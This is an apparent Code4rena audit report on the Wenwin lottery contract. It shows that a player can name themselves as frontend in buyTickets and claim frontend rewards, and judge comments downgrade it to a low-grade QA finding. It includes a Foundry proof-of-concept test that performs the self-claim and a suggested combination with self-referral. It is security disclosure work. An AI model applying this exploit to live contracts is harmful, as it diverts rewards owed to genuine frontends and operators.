Self-Frontend Results In Frontend Rewards

[code423n4]

Lines of code

https://github.com/code-423n4/2023-03-wenwin/blob/main/src/Lottery.sol#L110-L131

Vulnerability details

Impact

Players can extract frontend rewards by self-frontend

Proof of Concept

Lottery.buyTickets() does not prevent a player from self-frontend; so player can use their own address for frontend & collect frontend rewards.

POC: add following function to test/LotterySystemBase.sol to allow setting frontend in tests:

function buySameTickets(
    uint128 drawId,
    uint120 ticket,
    address frontend,
    address referrer,
    uint256 count
)
    internal
    returns (uint256[] memory)
{
    rewardToken.mint(TICKET_PRICE * count);
    rewardToken.approve(address(lottery), TICKET_PRICE * count);
    uint128[] memory drawIds = new uint128[](count);
    uint120[] memory tickets = new uint120[](count);
    for (uint256 i = 0; i < count; ++i) {
        drawIds[i] = drawId;
        tickets[i] = ticket;
    }
    return lottery.buyTickets(drawIds, tickets, frontend, referrer);
}

add the following test to test/Lottery.t.sol:

function testClaimSelfFrontendRewards() public {
    uint128 currentDraw = lottery.currentDraw();

    vm.startPrank(USER);
    // user self-frontend. This could be combined with my other report such
    // that the user could self-refer & self-frontend to collect both frontend & referrer rewards 
    buySameTickets(currentDraw, uint120(0x0F), USER, address(0), 1); 

    uint prevUserBalance     = rewardToken.balanceOf(USER);

    // user is able to claim self-front-end rewards
    uint claimedReward = lottery.claimRewards(LotteryRewardType.FRONTEND);
    assert(claimedReward > 0);
    console.log(claimedReward); // outputs 500000000000000000

    // user balance has increased
    uint afterUserBalance = rewardToken.balanceOf(USER);
    assert(afterUserBalance > prevUserBalance);

    // proves user balance has increased by the claimed frontend reward
    uint diffUserBalance = afterUserBalance - prevUserBalance;
    assertEq(diffUserBalance, claimedReward);
}

This exploit can be combined with the other one (self-referral) I've reported such that a player could self-frontend & self-referrer then collect both front-end & referrer rewards! Also there's nothing to stop a frontend from just always putting itself as the referrer & collecting both frontend & referrer rewards.

Tools Used

manual inspection

Recommended Mitigation Steps

A simplistic fix would be to change Lottery.buyTickets() to revert if frontend == msg.sender, however a player could simply use another address they control. A more thorough fix would be to have a mapping "allowedFrontends" such that only verified frontends could be allowed.

[c4-judge]

thereksfour marked the issue as duplicate of #483

[c4-judge]

thereksfour changed the severity to QA (Quality Assurance)

[c4-judge]

thereksfour marked the issue as grade-c